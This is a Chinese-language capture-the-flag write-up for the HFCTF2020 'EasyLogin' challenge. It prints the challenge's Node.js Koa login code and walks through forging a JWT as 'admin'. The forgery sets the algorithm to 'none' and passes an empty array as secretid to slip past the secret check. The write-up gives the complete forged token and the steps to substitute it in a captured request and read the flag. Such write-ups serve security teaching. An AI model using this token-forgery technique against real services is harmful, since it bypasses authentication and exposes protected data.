HFCTF2020EasyLogin

一点php都没看见 那就只能是js了 f12 看到一个app.js 这是基于node.js的koa框架
然而这边什么都没有
百度找找koa框架的目录结构

1
2
 controllers目录是项目控制器存放目录:接受请求,处理逻辑
访问controllers/api.js发现处理逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

​ if(!username || username === 'admin'){
​ throw new APIError('register error', 'wrong username');
​ }

​ if(global.secrets.length > 100000) {
​ global.secrets = [];
​ }

​ const secret = crypto.randomBytes(18).toString('hex');
​ const secretid = global.secrets.length;
​ global.secrets.push(secret)

​ const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

​ ctx.rest({
​ token: token
​ });

​ await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

​ if(!username || !password) {
​ throw new APIError('login error', 'username or password is necessary');
​ }

​ const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

​ const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

​ console.log(sid)

​ if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
​ throw new APIError('login error', 'no such secret id');
​ }

​ const secret = global.secrets[sid];

​ const user = jwt.verify(token, secret, {algorithm: 'HS256'});

​ const status = username === user.username && password === user.password;

​ if(status) {
​ ctx.session.username = username;
​ }

​ ctx.rest({
​ status
​ });

​ await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

​ const flag = fs.readFileSync('/flag').toString();
​ ctx.rest({
​ flag
​ });

​ await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}

};

需要admin 才能拿到flag

1
2
3
4
5
6
7
8
9
10
 'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

​ if(!username || username === 'admin'){
​ throw new APIError('register error', 'wrong username');
​ }

​ if(global.secrets.length > 100000) {
​ global.secrets = [];
​ }

但是注册又没法注册admin 只能通过伪造我们是admin来登陆了
处理逻辑这边看到了jwt

1
2
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
const user = jwt.verify(token, secret, {algorithm: 'HS256'});

伪造假的jwt https://www.freebuf.com/articles/web/181261.html
跑jwtsecret那个跑不出来太慢了

1
2
3
4
5
6
7
8
9
10
{
"alg": "none",
"typ": "JWT"
}
{
"secretid": [],
"username": "admin",
"password": "123456",
"iat": 1587632063
}

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiMTIzNDU2IiwiaWF0IjogMTU4NzYzMjA2M30.
然后注册一个账号 登录过程抓包一下改一下

179.PNG

登陆成功抓一下get flag那个请求的包就能拿到flag